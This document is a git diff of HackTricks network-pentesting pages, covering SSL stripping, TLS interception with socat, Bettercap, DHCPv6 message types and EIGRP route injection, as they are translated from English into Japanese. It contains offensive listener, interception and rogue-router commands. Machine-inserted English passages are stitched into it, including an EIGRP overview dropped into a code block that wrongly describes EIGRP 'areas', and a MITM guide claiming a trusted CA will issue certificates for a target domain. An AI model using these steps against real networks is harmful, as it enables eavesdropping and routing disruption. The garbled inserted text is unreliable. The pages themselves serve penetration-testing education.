be saved in the **cache** of the browser, so the browser will be tricked to perform **facebook authentication in HTTP**.\ -Note that in order to perform this attack the victim has to try to access initially to [http://www.faceook.com](http://www.faceook.com) and not https. This can be done modifying the links inside an http page. +詳細は[こちら](https://www.bettercap.org/legacy/#hsts-bypass)、[こちら](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014)、および[こちら](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly)を参照してください。 -More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly). +**sslStripまたはsslStrip+はもはや機能しません。これは、ブラウザに事前保存されたHSTSルールがあるためです。したがって、ユーザーが「重要な」ドメインに初めてアクセスする場合でも、HTTPS経由でアクセスされます。また、事前保存されたルールと他の生成されたルールでは、**`includeSubdomains`**フラグが使用される場合があるため、以前の_**wwww.facebook.com**_の例は_**facebook.com**_が`includeSubdomains`を使用してHSTSを使用するため、もはや機能しません。** -**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.** - -TODO: easy-creds, evilgrade, metasploit, factory - -## TCP listen in port +TODO: easy-creds、evilgrade、metasploit、factory +## ポートでのTCPリッスン ``` sudo nc -l -p 80 socat TCP4-LISTEN:80,fork,reuseaddr - ``` +## TCP + SSL ポートでのリッスン -## TCP + SSL listen in port - -#### Generate keys and self-signed certificate - +#### キーと自己署名証明書の生成 ``` FILENAME=server # Generate a public/private key pair: @@ -802,31 +753,66 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt # Generate the PEM file by just appending the key and certificate files: cat $FILENAME.key $FILENAME.crt >$FILENAME.pem ``` +#### 証明書を使用して盗聴する -#### Listen using certificate +To listen to network traffic using a certificate, you can perform a man-in-the-middle (MITM) attack. This attack involves intercepting the communication between two parties and decrypting the encrypted traffic using a certificate. +証明書を使用してネットワークトラフィックを盗聴するには、中間者攻撃(MITM)を実行する必要があります。この攻撃では、2つのパーティ間の通信を傍受し、証明書を使用して暗号化されたトラフィックを復号化します。 + +Here are the steps to perform a MITM attack using a certificate: + +証明書を使用したMITM攻撃を実行する手順は以下の通りです: + +1. Generate a valid SSL certificate: You need to generate a valid SSL certificate that matches the target domain. This can be done using tools like OpenSSL or by obtaining a certificate from a trusted certificate authority (CA). + +1. 有効なSSL証明書を生成する:ターゲットドメインに一致する有効なSSL証明書を生成する必要があります。これは、OpenSSLなどのツールを使用するか、信頼できる証明書機関(CA)から証明書を取得することで行うことができます。 + +2. Set up a proxy server: Configure a proxy server that will act as the middleman between the client and the server. This can be done using tools like Burp Suite or mitmproxy. + +2. プロキシサーバーの設定:クライアントとサーバーの間に中間者として機能するプロキシサーバーを設定します。これは、Burp Suiteやmitmproxyなどのツールを使用して行うことができます。 + +3. Install the SSL certificate: Install the generated SSL certificate on the proxy server. This will allow the proxy server to decrypt the encrypted traffic. + +3. SSL証明書のインストール:生成したSSL証明書をプロキシサーバーにインストールします。これにより、プロキシサーバーは暗号化されたトラフィックを復号化することができます。 + +4. Configure the client: Configure the client to trust the proxy server's SSL certificate. This can be done by importing the certificate into the client's trust store. + +4. クライアントの設定:クライアントがプロキシサーバーのSSL証明書を信頼するように設定します。これは、証明書をクライアントの信頼ストアにインポートすることで行うことができます。 + +5. Intercept and decrypt traffic: Start the proxy server and intercept the traffic between the client and the server. The proxy server will decrypt the encrypted traffic using the installed SSL certificate, allowing you to listen to the communication. + +5. トラフィックの傍受と復号化:プロキシサーバーを起動し、クライアントとサーバー間のトラフィックを傍受します。プロキシサーバーはインストールされたSSL証明書を使用して暗号化されたトラフィックを復号化し、通信を盗聴することができます。 + +It is important to note that performing a MITM attack without proper authorization is illegal and unethical. This technique should only be used for legitimate purposes, such as testing the security of a network or for educational purposes. + +適切な許可なしにMITM攻撃を実行することは違法であり、倫理的にも問題があります。この技術は、ネットワークのセキュリティをテストするためや教育目的など、正当な目的のためにのみ使用するべきです。 ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 - ``` +#### 証明書を使用してリッスンし、ホストにリダイレクトする -#### Listen using certificate and redirect to the hosts +To listen using a certificate and redirect to the hosts, follow these steps: +1. Generate or obtain a valid SSL/TLS certificate for the desired domain or subdomain. +2. Set up a server that listens for incoming connections on the desired port (e.g., port 443 for HTTPS). +3. Configure the server to use the SSL/TLS certificate for secure communication. +4. Implement a redirection mechanism on the server to redirect incoming requests to the desired hosts. + +By following these steps, you can establish a secure connection using the SSL/TLS certificate and redirect incoming traffic to the specified hosts. ``` sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0 ``` +クライアントがCAが有効であることを確認する場合、**他のホスト名で署名された証明書を提供する**ことがあります。\ +もう一つの興味深いテストは、**要求されたホスト名の自己署名証明書**を提供することです。 -Some times, if the client checks that the CA is a valid one, you could **serve a certificate of other hostname signed by a CA**.\ -Another interesting test, is to serve a c**ertificate of the requested hostname but self-signed**. - -Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman (one that do not need to decrypt anything with the real private key) and when the client request a probe of the real private key (like a hash) send a fake probe and expect that the client does not check this. +他にテストすることは、有効なCAではない有効な証明書で証明書に署名しようとすることです。また、有効な公開鍵を使用して、ディフィーヘルマンなどのアルゴリズムを強制的に使用し、実際の秘密鍵で何も復号化する必要のないアルゴリズムを使用し、クライアントが実際の秘密鍵のプローブ(ハッシュなど)を要求すると、偽のプローブを送信し、クライアントがこれをチェックしないことを期待することです。 ## Bettercap - ```bash # Events events.stream off #Stop showing events events.show #Show all events -events.show 5 #Show latests 5 events +events.show 5 #Show latests 5 events events.clear # Ticker (loop of commands) @@ -847,43 +833,42 @@ set wifi.ap.channel 5 set wifi.ap.encryption false #If true, WPA2 wifi.recon on; wifi.ap ``` +### アクティブディスカバリのノート -### Active Discovery Notes +要求されたポートを持たないデバイスにUDPパケットが送信されると、ICMP(ポート到達不能)が送信されることに注意してください。 -Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent. +### **ARPディスカバリ** -### **ARP discover** +ARPパケットは、ネットワーク内で使用されているIPアドレスを発見するために使用されます。PCは各可能なIPアドレスに対してリクエストを送信し、使用されているIPアドレスのみが応答します。 -ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond. +### **mDNS(マルチキャストDNS)** -### **mDNS (multicast DNS)** +Bettercapは、**\_services\_.dns-sd.\_udp.local**を要求するMDNSリクエスト(Xミリ秒ごとに)を送信します。このパケットを受け取るマシンは通常、このリクエストに応答します。その後、"services"に応答するマシンのみを検索します。 -Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp.local** the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services". +**ツール** -**Tools** - -* Avahi-browser (--all) -* Bettercap (net.probe.mdns) +* Avahi-browser(--all) +* Bettercap(net.probe.mdns) * Responder -### **NBNS (NetBios Name Server)** +### **NBNS(NetBios名前サーバ)** -Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA". +Bettercapは、ポート137/UDPに対して名前「CKAAAAAAAAAAAAAAAAAAAAAAAAAAA」を要求するブロードキャストパケットを送信します。 -### **SSDP (Simple Service Discovery Protocol)** +### **SSDP(シンプルサービスディスカバリプロトコル)** -Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900). +Bettercapは、すべての種類のサービスを検索するためにSSDPパケットをブロードキャストします(UDPポート1900)。 -### **WSD (Web Service Discovery)** +### **WSD(Webサービスディスカバリ)** -Bettercap broadcast WSD packets searching for services (UDP Port 3702). +Bettercapは、サービスを検索するためにWSDパケットをブロードキャストします(UDPポート3702)。 -## References +## 参考文献 * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) \ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! +**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは、ハッカーによって作成されたプレミアムな**バグバウンティプラットフォーム**です!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得しましょう! {% embed url="https://go.intigriti.com/hacktricks" %} @@ -891,10 +876,10 @@ Bettercap broadcast WSD packets searching for services (UDP Port 3702). ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手**したり、HackTricksを**PDFでダウンロード**したりしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。これは、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 +* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
diff --git a/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/generic-methodologies-and-resources/pentesting-network/dhcpv6.md index b42110215..a67d85175 100644 --- a/generic-methodologies-and-resources/pentesting-network/dhcpv6.md +++ b/generic-methodologies-and-resources/pentesting-network/dhcpv6.md @@ -1,25 +1,23 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- 独占的な[**NFTコレクション**](https://opensea.io/collection/the-peass-family)である[**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見してください。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-| DHCPv6 Message Type | DHCPv4 Message Type | +| DHCPv6メッセージタイプ | DHCPv4メッセージタイプ | | :--- | :--- | | Solicit \(1\) | DHCPDISCOVER | | Advertise \(2\) | DHCPOFFER | @@ -32,50 +30,41 @@ | Reconfigure \(10\) | DHCPFORCERENEW | | Relay-Forw \(12\), Relay-Reply \(13\) | none | - SOLICIT \(1\) +SOLICIT \(1\) - A DHCPv6 client sends a Solicit message to locate DHCPv6 servers. ADVERTISE \(2\) +DHCPv6クライアントは、DHCPv6サーバーを見つけるためにSolicitメッセージを送信します。 ADVERTISE \(2\) - A server sends an Advertise message to indicate that it is available for DHCP service, in response to a Solicit message received from a client. REQUEST \(3\) +サーバーは、クライアントから受信したSolicitメッセージに応答して、DHCPサービスが利用可能であることを示すAdvertiseメッセージを送信します。 REQUEST \(3\) - A client sends a Request message to request configuration parameters, including IP addresses or delegated prefixes, from a specific server. CONFIRM \(4\) +クライアントは、特定のサーバーからIPアドレスやデリゲートされたプレフィックスを含む構成パラメータを要求するためにRequestメッセージを送信します。 CONFIRM \(4\) - A client sends a Confirm message to any available server to determine whether the addresses it was assigned are still appropriate to the link to which the client is connected. This could happen when the client detects either a link-layer connectivity change or if it is powered on and one or more leases are still valid. The confirm message is used to confirm whether the client is still on the same link or whether it has been moved. The actual lease\(s\) are not validated; just the prefix portion of the addresses or delegated prefixes. RENEW \(5\) +クライアントは、リンク層の接続の変更を検出した場合や、電源がオンになり、1つ以上のリースがまだ有効な場合に、リンクに適切なアドレスが割り当てられているかどうかを判断するために、利用可能なサーバーにConfirmメッセージを送信します。 Confirmメッセージは、クライアントが同じリンクにいるかどうか、または移動したかどうかを確認するために使用されます。実際のリースは検証されません。アドレスまたはデリゲートされたプレフィックスのプレフィックス部分のみが検証されます。 RENEW \(5\) - A client sends a Renew message to the server that originally provided the client's addresses and configuration parameters to extend the lifetimes on the addresses assigned to the client and to update other configuration parameters. REBIND \(6\) +クライアントは、クライアントのアドレスと構成パラメータを最初に提供したサーバーにRenewメッセージを送信して、クライアントに割り当てられたアドレスの寿命を延長し、他の構成パラメータを更新します。 REBIND \(6\) - A client sends a Rebind message to any available server to extend the lifetimes on the addresses assigned to the client and to update other configuration parameters; this message is sent after a client receives no response to a Renew message. REPLY \(7\) +クライアントは、Renewメッセージに対する応答がない場合に、利用可能なサーバーにRebindメッセージを送信して、クライアントに割り当てられたアドレスの寿命を延長し、他の構成パラメータを更新します。 REPLY \(7\) - A server sends a Reply message containing assigned addresses and configuration parameters in response to a Solicit, Request, Renew, Rebind message received from a client. A server sends a Reply message containing configuration parameters in response to an Information-request message. A server sends a Reply message in response to a Confirm message confirming or denying that the addresses assigned to the client are appropriate to the link to which the client is connected. A server sends a Reply message to acknowledge receipt of a Release or Decline message. RELEASE \(8\) +サーバーは、クライアントから受信したSolicit、Request、Renew、Rebindメッセージに応答して、割り当てられたアドレスと構成パラメータを含むReplyメッセージを送信します。サーバーは、Information-requestメッセージに応答して構成パラメータを含むReplyメッセージを送信します。サーバーは、Confirmメッセージに応答して、クライアントに割り当てられたアドレスがリンクに適切かどうかを確認するReplyメッセージを送信します。サーバーは、ReleaseまたはDeclineメッセージの受信を確認するためにReplyメッセージを送信します。 RELEASE \(8\) - A client sends a Release message to the server that assigned addresses to the client to indicate that the client will no longer use one or more of the assigned addresses. DECLINE \(9\) +クライアントは、クライアントにアドレスを割り当てたサーバーにReleaseメッセージを送信して、クライアントが割り当てられたアドレスのいずれかを使用しなくなったことを示します。 DECLINE \(9\) - A client sends a Decline message to a server to indicate that the client has determined that one or more addresses assigned by the server are already in use on the link to which the client is connected. RECONFIGURE \(10\) +クライアントは、クライアントが接続されているリンクでサーバーによって割り当てられた1つ以上のアドレスが既に使用されていることを示すために、Declineメッセージをサーバーに送信します。 RECONFIGURE \(10\) - A server sends a Reconfigure message to a client to inform the client that the server has new or updated configuration parameters, and that the client is to initiate a Renew/Reply or Information-request/Reply transaction with the server in order to receive the updated information. INFORMATION-REQUEST \(11\) +サーバーは、クライアントに新しいまたは更新された構成パラメータがあることを通知するために、Reconfigureメッセージをクライアントに送信し、クライアントが更新された情報を受け取るためにサーバーとのRenew/ReplyまたはInformation-request/Replyトランザクションを開始するように指示します。 INFORMATION-REQUEST \(11\) - A client sends an Information-request message to a server to request configuration parameters without the assignment of any IP addresses to the client. RELAY-FORW \(12\) +クライアントは、クライアントにIPアドレスの割り当てなしで構成パラメータを要求するためにInformation-requestメッセージをサーバーに送信します。 RELAY-FORW \(12\) - A relay agent sends a Relay-forward message to relay messages to servers, either directly or through another relay agent. The received message, either a client message or a Relay-forward message from another relay agent, is encapsulated in an option in the Relay-forward message. RELAY-REPL \(13\) +リレーエージェントは、サーバーにメッセージをリレーするためにRelay-forwardメッセージを送信します。メッセージは、クライアントメッセージまたは他のリレーエージェントからのRelay-forwardメッセージであり、Relay-forwardメッセージのオプション内にカプセル化されます。 RELAY-REPL \(13\) - A server sends a Relay-reply message to a relay agent containing a message that the relay agent delivers to a client. The Relay-reply message may be relayed by other relay agents for delivery to the destination relay agent. The server encapsulates the client message as an option in the Relay-reply message, which the relay agent extracts and relays to the client. +サーバーは、宛先リレーエージェントに配信するメッセージを含むRelay-replyメッセージをリレーエージェントに送信します。Relay-replyメッセージは、宛先リレーエージェントに配信するために他のリレーエージェントによってリレーされる場合があります。サーバーは、クライアントメッセージをRelay-replyメッセージのオプションとしてカプセル化し、リレーエージェントがクライアントに中継するようにします。
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +☁️ HackTricks Cloud ☁️ - - - diff --git a/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md b/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md index 093181ea7..3a874306a 100644 --- a/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md @@ -1,204 +1,216 @@ -# EIGRP Attacks +# EIGRP 攻撃
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricks で会社を宣伝**したいですか?または、**最新バージョンの PEASS を入手したり、HackTricks を PDF でダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な [**NFT**](https://opensea.io/collection/the-peass-family) のコレクションです。 +* [**公式の PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローしてください。** +* **ハッキングのトリックを共有するには、PR を** [**hacktricks リポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud リポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-**This page was copied from** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)\*\*\*\* +**このページは** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) **からコピーされました**\*\*\*\* -## Attacking EIGRP Protocol +## EIGRP プロトコルの攻撃 -**EIGRP (Enhanced Interior Gateway Routing Protocol)** is a dynamic routing protocol. **It is a distance-vector protocol.** **If there is no authentication and configuration of passive interfaces, an intruder can interfere with EIGRP routing and cause routing tables poisoning.** **Moreover, EIGRP network (in other words, autonomous system) is flat and has no segmentation into any zones.** What could this mean for an attacker? Well, if he injects a route, it is likely that this route will spread throughout the autonomous EIGRP system. +**EIGRP(Enhanced Interior Gateway Routing Protocol)**は、動的ルーティングプロトコルです。**距離ベクトルプロトコルです。** **認証やパッシブインターフェースの設定がない場合、侵入者は EIGRP ルーティングに干渉し、ルーティングテーブルの汚染を引き起こすことができます。** **さらに、EIGRP ネットワーク(つまり、自律システム)はフラットで、任意のゾーンにセグメント化されていません。** これは攻撃者にとってどういう意味があるでしょうか?まあ、彼がルートを注入すれば、このルートは自律 EIGRP システム全体に広がる可能性が高いです。
-First and foremost, attacking a standalone EIGRP system requires establishing a neighborhood with a legitimate EIGRP router, which opens up a lot of possibilities, from basic reconnaissance to various injections. +まず最初に、スタンドアロンの EIGRP システムを攻撃するには、正当な EIGRP ルーターとの隣接関係を確立する必要があります。これにより、基本的な偵察からさまざまな注入まで、多くの可能性が開かれます。 -For this I will use [**FRRouting**](https://frrouting.org/). This is an open-source software which is designed to create a router in Unix and Linux. **FRRouting** allows you to implement **a virtual router that supports BGP, OSPF, EIGRP, RIP and other protocols.** All you need to do is deploy it on your attacker’s system and you can actually pretend to be a legitimate router in the routing domain. I’ll show you how to deploy FRR on your system in the next section. +そのために、[**FRRouting**](https://frrouting.org/) を使用します。これは、Unix と Linux でルーターを作成するために設計されたオープンソースソフトウェアです。**FRRouting** は、**BGP、OSPF、EIGRP、RIP などのプロトコルをサポートする仮想ルーターを実装することができます。** 攻撃者のシステムに展開するだけで、実際には正当なルーターとしてルーティングドメイン内で振る舞うことができます。次のセクションでは、システムに FRR を展開する方法を紹介します。 -### Network Intelligence +### ネットワークインテリジェンス -**Connecting to the routing domain allows us to do enumeration and reconnaissance of networks and not spend a lot of time scanning.** This method saves you a lot of precious time. **Plus, by scanning, you can get burned in front of IPS/IDS security systems.** To me, connecting to the domain and enumeration is the attack vector on routing domains that gives you the most impact. But to do this you need to deploy **FRRouting**. Here we go. - -**It is necessary to edit the configuration file daemons.** It contains the configurations of the daemons in the context of their activity. Either they are enabled (yes) or not (no). We need to activate the **eigrpd** daemon. +**ルーティングドメインに接続することで、ネットワークの列挙と偵察を行い、多くの時間をスキャンに費やす必要がありません。** この方法は、貴重な時間を節約します。**また、スキャンによって、IPS/IDS セキュリティシステムの前で燃え尽きる可能性があります。** 私にとって、ドメインへの接続と列挙は、最も影響力のあるルーティングドメインへの攻撃ベクトルです。しかし、これを行うには **FRRouting** を展開する必要があります。さあ、始めましょう。 +**設定ファイル daemons を編集する必要があります。** これには、デーモンの設定が含まれています。デーモンは、その活動の文脈での設定を持っています。有効(yes)または無効(no)のいずれかです。**eigrpd** デーモンを有効にする必要があります。 ``` ~# nano /etc/frr/daemons eigrpd=yes ``` -
-After that, you need to correct the **vtysh.conf** file by adding a line responsible for saving the configuration to one file, so that configurations of different protocols are not scattered into different files **(e.g. eigrpd.conf, staticd.conf).** It is configurable optionally. - +その後、**vtysh.conf**ファイルを修正する必要があります。これにより、異なるプロトコルの設定が異なるファイルに分散しないように、設定を1つのファイルに保存するための行が追加されます **(例:eigrpd.conf、staticd.conf)。** これはオプションで設定可能です。 ``` ~# nano /etc/frr/vtysh.conf service integrated-vtysh-config ``` - -The FRRouting configuration is done. Now it’s time to run the FRR daemon. **And yes, we need to enable traffic routing. By default it is disabled in Linux distributions** - +FRRoutingの設定が完了しました。今度はFRRデーモンを実行する時です。そして、はい、トラフィックルーティングを有効にする必要があります。デフォルトではLinuxディストリビューションでは無効になっています。 ``` ~$ sudo systemctl start frr ~$ sudo sysctl -w net.ipv4.ip_forward=1 ``` -
-The **vtysh** command will take us to the FRR router control panel. - +**vtysh**コマンドを使用すると、FRRルーターの制御パネルに移動できます。 ``` ~$ sudo vtysh ``` +# EIGRP Attacks -Example: +EIGRP (Enhanced Interior Gateway Routing Protocol) is a Cisco proprietary routing protocol used to exchange routing information within a network. As a pentester, it is important to understand EIGRP and its potential vulnerabilities in order to identify and exploit them during a penetration test. +## EIGRP Protocol Overview + +EIGRP is a distance vector routing protocol that uses the Diffusing Update Algorithm (DUAL) to calculate the best path for routing packets. It operates at the Network layer (Layer 3) of the OSI model and supports both IPv4 and IPv6. + +EIGRP uses a hierarchical network design, where routers are organized into autonomous systems (AS). Each AS is further divided into multiple areas, and routers within an area exchange routing information using EIGRP. + +## EIGRP Attacks + +1. **EIGRP Neighbor Spoofing**: An attacker can spoof EIGRP neighbor advertisements to trick a router into establishing a neighbor relationship with a malicious device. Once the relationship is established, the attacker can manipulate routing information or launch further attacks. + +2. **EIGRP Route Manipulation**: By injecting false routing information into the EIGRP network, an attacker can manipulate the routing table of routers within the network. This can lead to traffic redirection, network congestion, or even denial of service (DoS) attacks. + +3. **EIGRP Authentication Bypass**: EIGRP supports authentication mechanisms to ensure the integrity and authenticity of routing updates. However, misconfigurations or weak authentication settings can allow an attacker to bypass authentication and inject malicious routing updates. + +4. **EIGRP Protocol Vulnerabilities**: Like any other protocol, EIGRP may have vulnerabilities that can be exploited by attackers. It is important to stay updated with the latest security advisories and patches from Cisco to mitigate these vulnerabilities. + +## Countermeasures + +To protect against EIGRP attacks, consider implementing the following countermeasures: + +1. **EIGRP Authentication**: Enable authentication for EIGRP to ensure that only trusted routers can exchange routing information. Use strong authentication methods, such as MD5 or SHA-256, and regularly update authentication keys. + +2. **Access Control**: Implement proper access control mechanisms to prevent unauthorized access to routers and network devices. This includes securing physical access, using strong passwords, and disabling unnecessary services. + +3. **Network Segmentation**: Divide the network into smaller segments using VLANs or subnets. This helps contain the impact of an EIGRP attack and limits the attacker's ability to move laterally within the network. + +4. **Regular Auditing**: Perform regular audits of EIGRP configurations and network devices to identify any misconfigurations or vulnerabilities. This includes reviewing access control lists, monitoring routing tables, and analyzing network traffic. + +By understanding EIGRP and its potential vulnerabilities, pentesters can effectively assess the security of a network and recommend appropriate countermeasures to mitigate risks. ``` Inguz# show version ``` -
